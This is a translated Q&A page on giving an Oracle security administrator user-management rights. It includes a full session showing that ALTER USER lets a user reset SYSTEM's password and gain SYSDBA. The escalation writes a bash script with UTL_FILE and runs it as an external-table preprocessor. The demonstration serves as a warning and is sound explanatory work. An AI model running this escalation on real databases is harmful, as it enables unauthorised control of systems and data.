Oracle
Oracle - 如何授予使用者創建和更改其他使用者密碼的權限(如安全管理員)
我有一個使用者是 IT 部門的安全管理員。我需要授予他的 Oracle 使用者帳戶權限,以便能夠在我們創建的其他組中創建新使用者、更改密碼和更改成員資格。這基本上是一個安全管理員,我不想給它完整的 sysdba/dba 權限。那將是矯枉過正。我到底要授予什麼以及如何授予?
您只需要授予他們CREATE USER和ALTER USER系統權限。
例如:
GRANT ALTER USER TO UserAccountWithPermission;
您可以授予該使用者以完成此操作
ALTER USER
。CREATE USER
通過這樣做,您還可以在大多數數據庫中間接授予該使用者無限制的訪問權限,這是您想要避免的。Connected to: Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production Version 19.9.0.0.0 SQL> create user u1 identified by u1; User created. SQL> grant create session, alter user to u1; Grant succeeded. SQL> conn u1/u1 Connected. SQL> alter user system identified by system; User altered. SQL> conn system/system Connected. SQL> show user USER is "SYSTEM"
這就是獲得訪問權限
SYSTEM
或除SYS
. 這已經作為數據庫使用者提供了對文件系統的讀/寫訪問。SQL> select SYS_CONTEXT ('USERENV','ORACLE_HOME') as home, SYS_CONTEXT ('USERENV','INSTANCE_NAME') as instance from dual; HOME INSTANCE ---------------------------------------- -------------------- /u01/app/oracle/product/19.0.0/dbhome_1 RYMIN19 SQL> create directory exploitd1 as '/tmp'; Directory created. SQL> create directory exploitd2 as '/usr/bin'; Directory created. SQL> declare fhandle utl_file.file_type; begin fhandle := utl_file.fopen('EXPLOITD1', 'data.txt', 'w'); utl_file.put(fhandle, '#!/bin/bash' || CHR(10)); utl_file.put(fhandle, 'export ORACLE_HOME=/u01/app/oracle/product/19.0.0/dbhome_1' || CHR(10)); utl_file.put(fhandle, 'export PATH=$ORACLE_HOME/bin:$PATH' || CHR(10)); utl_file.put(fhandle, 'export ORACLE_SID=RYMIN19' || CHR(10)); utl_file.put(fhandle, 'sqlplus / as sysdba<<EOF' || CHR(10)); utl_file.put(fhandle, 'grant sysdba to u1;' || CHR(10)); utl_file.put(fhandle, 'exit' || CHR(10)); utl_file.put(fhandle, 'EOF'); utl_file.fclose(fhandle); end; / PL/SQL procedure successfully completed.
接下來使用以 bash 作為預處理器執行的上述腳本創建一個外部表:
SQL> CREATE TABLE exploit_table (c1 varchar2(2000)) ORGANIZATION EXTERNAL ( TYPE ORACLE_LOADER DEFAULT DIRECTORY exploitd1 ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE PREPROCESSOR exploitd2:'bash' DISABLE_DIRECTORY_LINK_CHECK FIELDS (c1 char(2000))) LOCATION ('data.txt')) REJECT LIMIT UNLIMITED; Table created. SQL>
有趣的部分來了:
SQL> select USERNAME, SYSDBA from v$pwfile_users; USERNAME SYSDB ------------------------------ ----- SYS TRUE SQL> select count(*) from exploit_table; COUNT(*) ---------- 16 SQL> select USERNAME, SYSDBA from v$pwfile_users; USERNAME SYSDB ------------------------------ ----- SYS TRUE U1 TRUE SQL>
如果您想真正限制此安全管理員的權限,您將需要一些自定義 PL/SQL 觸發器或包/過程來控制該使用者可以創建和更改哪些使用者。